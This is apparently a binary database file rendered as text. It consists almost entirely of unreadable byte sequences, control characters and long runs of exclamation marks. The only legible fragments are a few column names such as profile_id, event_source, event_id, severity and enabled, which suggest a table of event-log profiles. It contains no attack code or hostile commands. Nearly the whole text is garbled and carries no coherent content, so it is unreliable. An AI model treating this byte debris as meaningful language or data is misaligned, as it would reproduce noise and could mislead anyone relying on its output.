ԏ4_ԏ4_!4_!4_*i$4_*i$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!fTB0b
P

>
,




t

x


|jXF4"
z~hlVZDH26 $







n
\
J
8
&


							r	`	N	<	*			vdR@.
zhVD2 ~lZH6$p^L:(tbP>,p:xfTB0|jX^(F4"Ln\J8&r`
KH	|O3Z|b|	*p|~D1|Q|&4|//|~D1|3|aT|&4|_)|//|~D1|3|5|6|aT|-IV|f=W|&4|b4|6|
B7|9|:|aT|f=W|&4|	@|	9|	\mS|
&4|
b4|
5|
9|
:|
aT|
f=W|
d|&4|5|6|9|:|aT|d$LR$LR$LR`DN$N$!N$;P	*p&4	*p_)	*p)3	*pb4	*p6	*p
B7	*paT34lXBNd@BNd)3BNd
B7lXUFl!ðT<.DRXR8SðT<Y1?T<Y1?L@ðnðY1?ð0Kð?p@&4Dk!kT:0zpSzez!ezJEfzigzhzpSzez!ezigzhzez!ezigzhzez!ezigzhzez!ezigzhzez!ezJEfzhzez!ezigzhzez!ezigzhz
!ez
hzpSzpS!nT:0'G-''%"'m$'ґ%'&'G-''%"'m$'ґ%''%"'m$'ґ%''%"'m$'ґ%'m$'ґ%'&'G-''%"'m$'ґ%''%"'m$'ґ%''%"'m$'ґ%'	'%"'	m$'	ґ%'
'%"}7k!FOjA
AƂ2A}%@A
A.A.AƂ2A3Ar5=>AY1?A}%@A?pA
A3AT<Ar5=>A?pA
AT:0A3AT<AY1?A
A3AT<AY1?A.A3A
A.A3AT<AY1?A
A3AT<AY1?A
	~	~	~	~	~	~	~S-ruZS-ruZS-ruZS-ruZS-ruZS-ruZS-ruZS-ruZ/+"/+"/+"/+"/+"/Ts%/Ts%/Ts%/Ts%/Ts%/
Ts%/%/%/%/%/%/%/</</</</</</
</!=/!=/!=/!=/!=/!=/
!=/WE>/WE>/WE>/WE>/WE>/WE>/
WE>ElTElTElTElTElTElHElHElHElHElHEl)#=El)#=El)#=El)#=El)#=Hk%)#=

 El!El!T!S " " "n "5 "/D#/D#nD#&4c%|c%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p^L:(






t
b
P
>
,


xfTB0~lZH6$|jXF4"







n
\
J
8
&


							Fnr	`	N	<	*			vdR@.
zhVD2 X~lZH6$\J8&r`p^L:(NRh<@V*.D2
v 4dz"tbP>,xfTB0|jXjF4"n\J8&r`RxK@MU(AUUUGTEUUGTEU0HU0HU 
KU 
KU 
KUVMUVMUOUOHU'HU'HU'rUە
rU>0rUb1rUADrUADrUd]rUd]rU7_rU7_rU\`rU\`)V"BW~VT<W~VT<W~VI>W~VI>W~VwBW~VwBW~VwBW~VwBW~VUGTEW~VUGTEW~V0HW~V0HW~V 
KW~V 
KW~V 
KW~VVMW~VVMW~VOW~VOݳVaV/8ݳVaV/8ݳVaV/8VrUW"BW"BW"BWeQWeQWeQWeQWeQWeQWeQWeQWeQ	WeQ
WeQWeQWeQ
WeQWeQWeQWeQWeQWeQWAWAWA	Wە
WHaWHaWHaWHaWHaWHa0XiM0Xە
0X&n0X(C0X(C0XAD0XAD0X)?K0X)?K0X)?K0Xd]VTYiMVTYە
VTY&nVTYADVTYADVTYeEVTYeEVTYd]xZiMx[-WnȜ[ە
Ȝ[)?KȜ[)?KȜ[)?K7\(C7\TȚH7\SN׶l\w!׶l\w!`]\`]\IT^w!IT^w!IT^w!s	^ADs	^ADs	^ADs	^ADs	^eEs	^eEs	^eEs	^eEs	^eEs	^eEs	^eEs	^eE	s	^eE
s	^eEs	^eEs	^eE
s	^eEs	^eEs	^eE7\>07\@+]7\+]rW+]rW+]rW+]rW+]rW+]rW+]rW+]rW	+]rW
+]rW+]rW+]rW
^rW^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y	^@[Y
^@[Y^@[Y^@[Y
^@[Y^@[Y^@[Y^@[Y-IV\1i-IV\1i-IV|-IV|-IV:f=WVTYf=W\1if=W\1if=W9f=W5f=W|f=W|f=W|f=W|
\J~[\J~[]J~[]J~[+XV+XV+XV+XVOY4^OY4^OYP"OYVOYVOYV tZ4^ tZ4^ tZP" tZP" tZP" tZ3 tZ+X tZ+X tZH tZV tZV tZV tZVY[3Y[3Y[+XY[+XY[VY[VEYVEYViZ.HSiZ.HSiZ.HSiZ.HSiZ.HSiZ.HS	iZ.HS
_oZ/
_oZΞV_oZΞV_oZΞV_oZΞVc[/
c[>Rc[>Rc[>Rc[>Rc[>Rc[>R>W\/
>W\A>W\A>W\A>W\A>W\A>W\A>W\A>W\A>W\;wK]/
wK];wK]X\GwK]X\GwK]X\GwK]X\GwK]X\GwK]X\G?^dM?^dM?^dM?^dM?^dM?^dM?^dM?^dM?^/
?^;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`D(




d
H
,

|`D($lP4pT8dH\tX< xdHhLhL,00@$tX<llx \@$PpT8P4|D(`4




p
T
8


				t	X	<	 		x\@$L,h|`D(dH,hL0lP4pT80tX< x\@$|`K!$KhPOiSG9'PE&9'+\9'+\9'+\-(PE&-(+\-(+\-(+\")PE&")(C")+\")+\")+\")+\")+\")Ha")ȃc4A*PE&4A*+\4A*+\me
+j8me
+j8me
+j8
)(EYH$)(EYH$'3'3'p6!'p6!'p6!'p6!'p6!	8(IqFq()MEL*QGL*s?4tX< x\@$8pT|`HKM|W:5&:5&:5&6@;(C6@;(C6@;)?K6@;)?K6@;)?K6@;)?K;" ;" ;" ;" ;" ;" ;" ;" ;" 	;" 
;" ;5&;5&;,);,)E;'E;'E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8o4<iMo4<o4<&no4<R<p7o4<6@;o4<ADo4<ADo4<eQo4<eQo4<eQo4<eQo4<eQo4<eQo4<eQo4<eQ	o4<eQ
o4<eQo4<eQo4<eQ
o4<eQo4<eQo4<eQo4<eQo4<eQo4<Xo4<Xo4<l)=iM)=)=&n)=AD)=AD)=eQ)=eQ)=eQ)=X)=X)=X^=':^?|6^?(C^?(C^?AD^?AD^?)?K^?)?K^?)?K^?KR[{DhF?':S@iMS@ە
S@MޅS@&nS@^?S@(CS@(CS@(CS@ADS@ADS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?K	S@)?K
S@)?KS@)?KS@)?K
S@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@q@S@Aە
AMޅA&nA^?A(CA(CA(CAADAADA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?K	A)?K
A)?KA)?KA)?K
A)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KAq?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;?r>ҕ;	?r>ҕ;
?r>ҕ;?r>ҕ;?r>ҕ;
?r>!cf?b1cf?;Pcf?L:`;77`;P"`;P"`;HT<4^T<4^T<AT<AT<AT<AT<AT<AT<A	T<A
T<AT<AT<A
T<eQT<KT<KT<l
T<T<T<T<3T<H9I=39I=39I=Hr5=>9I=r5=>Ar5=>Ar5=>HY1?ðY1?4^Y1?4^Y1?9I=Y1?AY1?AY1?AY1?AY1?AY1?AY1?A	Y1?A
Y1?AY1?AY1?A
Y1?eQY1?eQY1?KY1?KY1?l
Y1?Y1?Y1?3Y1?3Y1?3Y1?3
Y1?H}%@9I=}%@A}%@A}%@H=)(=<</</</</</</</
<ݐ.<ݐ.<ݐ.!!=/!=/!=/!=/!=/!=/!=/
!=p+!=p+	!=p+
WE>/WE>/WE>/WE>/WE>/WE>/WE>/
WE>L*WE>L*WE>L*
WE>L*8tX< x\@$|`D(




d
H
,

hL0lP4




p
T
8


				t	X	<	p lP4T8tX< 		x\@x\@$lP4pT\x|`D($$@|`D(L0dH,hD(dH,|`dH,hL0lP4pT8tX< x\0hL@$|`x|K:
E$fqucauc<bBdە
Bdj8Bdj8Bdj8
Bd(CBd(CBd(CBd(CBdADBdADBdADBd+\Bd+\Bd+\Bd+\drWdrWdrWdrWdrWdrWdrW
drWdrWd@[Yd@[Yd@[Yd@[Y	d@[Y
d@[Yd@[Yd@[Y
d@[Yd@[Yd@[Ye\e\e\e\e\e\ezezezezezezezeze,JYeenZe-%b7ej87ej87ej8
7ed]7ed]7ed]7ed]7ed]
erWerWerWerWe@[Ye@[Ye@[Ye@[Y!e\!e\!e\!e\!e\!e\!ez!ez!ez!ez!ez!ez!ez!ez!ez
!e,JY!eenZ!e`]!e-%b!efc!e
d;++f(CJEf\JEf\JEfzJEfzJEf`]JEf
dtOg>0tOg@tOgTȚHtOg)?KtOg)?KtOg)?KtOgSNtOg0XtOg+\tOg+\tOg,letOg,leY_grWY_grWY_grWY_grWY_grWY_grWY_grWY_grWY_grW	Y_grW
Y_grWY_grWY_gaig\ig\ig\ig\ig\ig\igzigzigzigzigzigzigzd(Cd(Cd;Pdҕ;d\1id\1id
d

d
d|
d|&Kf\&Kf\&KfHK?gvM`K?gvM`K?gvM`K?gvM`K?gvM`K?gvM`K?gvM`$|`D(




d
H
,

hpT8L0lP4




p
tT
8


				t	X	<	 		x\@$|`D(dH,hL0lP4pT8tX<x\@X<  x\@$|`~JKNPIMšpLAL)?KL)?KL)?K@
@
@
@
@
@

@
@
@

@
@
@|@|	@BNd@L@ĄX9@L:@W@WuZuZuZuZk(Ck(C
k(Ck(Ckd]kȃckȃckȃckwdkwdkwd&4|&4|&4|&4|&4|&4|&4|
&4|&4	*p&4@&44&44&4W&4W&4W&4qPiZPiZPiZN$k|F7|F7':':':ȃcȃc_)
_)
_)
_)|_)|_)	*p
^
^
^
^
^
^
^
^
^	
^

^
^
^
!N$!l!!|F7!|F7!':!':!':!d]1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	F&nFj8Fj8FADFADFd]Fd]Fd]F\`F\`UFN]?	UFN]?	UFlXOjFOjj8Ojj8Ojd]Ojd]Ojd]Ojd]Ojd]Ojd]Ojd]Ojd]	Ojd]
OjȃcOjȃcOjȃcOjȃcOjȃcOjȃc
OjȃcOjȃcOjȃc
OjȃcOjȃcOjȃcOjȃc4z:N]?	4z:N]?	4z:N]?	4z:0Xd]ðððHH5mR5mR5)z5)z5HnðnmRnmRnH_<M_<M_<M_<M_<M_<M_<M
_<M_<M_<M
_<M_<M_<M	c		c	_<M_<M_<M	c	DDD	c	D	c	(_<M(_<M(_<M(_<M(_<M(_<M(_<M(_<M
(_<M(_<M(_<M(^(>oo	~	~	~	~	~	~	~uZS-ruZS-ruZS-ruZS-ruZS-ruZS-ruZS-ruZS-rTElTElTElTElTElTp6!Tp6!TU3TU3TU3TU3HdMHdMHdMHdMHdMHdMHdMHdMHL*HL*HL*	H&y0H&y0H&y0H&y0HElHElHElHElHElH/H/H/HWE>HWE>HWE>HWE>HWE>HWE>	)#=<)#=<)#=<)#=<)#=<	)#=&y0)#=&y0)#=&y0)#=&y0)#=El)#=El)#=El)#=El)#=El(_<M|`D(tX< x\@$|`D(




d
H
,

hL0lP4



|`D$x\@T8p
p
T
8


			H,dx\@	t	X	<	 		x\@lP4(hLdH0,$|`D(dHpT8,hL0tlP4pT0hL8tX< x\@$< XlP4$|`gKJ
a*TqTrTsTtTuTvTwTxTyTzT{T|T}T~TTT
H
A
A
A
A
A
A
A
A
A	
A

A
A
A

Ah 4h 4h 4h 4h f{nh q#
u=yk#
u=yk#
u=yk#
u=ykM%XMKoMyH33VVVvM`vM`vM`vM`>o3h>o3hyRzyRz+3+3+3+q+Tt;֣;֣;֣AAHAA>0AA(CAATȚHAASNAAGOAAixAAixAAyRzO&m1O&m1O_2O_2O3O3OqOTt_M_;_֣_֣_֣_'_'_'_'_'_'_'_'_'	_'
_'_'_'
_'_'_'_'_'_'_'_'_'_'_aV/8_aV/8_aV/8_aV/8_*eH_*eH_*eH_*BK_*BK_*BK_*BK_*BK_enZ_׶l\_2
m_=z_t&m1t&m1t4t4t4AA@ze\ze\zeHP[7\@x|`D(




d
H
,

hL0lP4




p
T
8


				t	X	<	 		x\@$$|`D(dH,hL0lP4pT8tX< x\@$|`JKK.
O]*
iM֌ 7_3!7_!=yk!=yk!=yk!Z>p!Z>p!Z>plu"7_lu"7_lu"7_lu"\`lu"\`'%"''%"''%"''%"''%"''%"''%"''%"'	'%"'
'%"!'%"=yk'%"=yk'%"=ykCi#d]Ci#d]Ci#7_Ci#7_Ci#\`Ci#\``I#'%"`I#'%"g]$d]g]$d]g]$7_g]$7_g]$\`g]$\`g]$\`m$'m$'m$'m$'m$'m$'m$'m$'m$'	m$=ykm$=ykm$=ykQ%d]Q%d]Q%7_Q%7_Q%\`Q%\`Q%\`ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'	ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%`I#ґ%=ykґ%=ykґ%=yk&'&'&`I#aw _<Maw _<Maw _<Maw _<Maw _<Maw _<Maw _<Maw _<Maw 	c	k!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!k!k![k!}7k!	c	k!	c	`"_<M`"_<M`"_<M`"_<M
`"k!`"aw 5T#_<M5T#_<M5T#_<M0&EYH$0&EYH$$'0&$'0&p6!Np6!Np6!Np6!Np6!Np6!Np6!Np6!Np6!N	+"/+"/+"/+"/+"/+"$'+"$'+"$'+">o3h+">o3h+">o3h+">o3h+">o3h+">o3h+"N+"/
+"vM`+"vM`+"vM`+"vM`+"vM`O$/
O$EYH$O$EYH$Ts%/Ts%/Ts%/Ts%/Ts%/Ts%/
%/%/%/%/%/%/%Ts%ƻ&3ƻ&3ƻ&p6!ƻ&p6!ƻ&p6!ƻ&p6!	

 rna2

 rna2

 rna2

 <

 <

 <

 <

 <

 <

 <

 <

 <	

 )#=

 A

 A

 A

 A

 ݐ.

 ݐ.!

 ΞV

 ΞV

 ΞV

 9Jm1

 9Jm1

 9Jm1

 ;

 >R

 >R

 >R

 >RF!|*6F!|*6F!|*6F!|*6F!|*6F!|*6F!|*6F!|*6	F!|*6F!@4mF!@4mF!@4mF!@4mF!@4mF!@4mF!@4mF!@4mF!@4m	F!@4m
F!@4mF!@4mF!@4m
F!@4m!4_!4_!bG1!k%!dM!dM!|*6!|*6!

 !/
!/
!El!El!A!A!ԏ!ΞV!ΞV!T!S{!S{!+"!X\G!X\G!F!!@4m!@4m!>R!>R "}%@ "eE "eE ";P "3m	 "?p "eQ "eQ ")= " "	 "٥ "S " " "3 "3 "$ "$ "n "T< "5 "!<t Xx\$@|8tX< x\hL0x\@tX< $|`lPdHhL,40@$Pl4




p
D(




d
pT8tX< x\|8


				t	T
`D(@$H,hL0|d`{FKlL=*CKR5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3	R5Dj3
R5Dj3R5Dj3R5Dj3
R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj35ϓ4q5Hq53q53q53q53
q5K	5|5|5|
5|6" 6" 
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3	
G6Dj3

G6Dj3
G6Dj3
G6Dj3

G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3V16ݐ.V16ݐ.!V16,V16,V16,V16,V16,V16,	dH,hL0D(|`lP4pT8tX< x\@$|`-)FE^.0-k1a88
K@profile_id0-k1a4O@profile_name0-vfa88
k@required_microsoft_version0-Ha88
;Hid0-Ha4=name0-Ha4Mevent_source0-Ha88
Wevent_category_id0-Ha88
Eevent_id0-Ha88
Imessage_id0-Ha88
Eseverity0-Ha00Cenabled!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!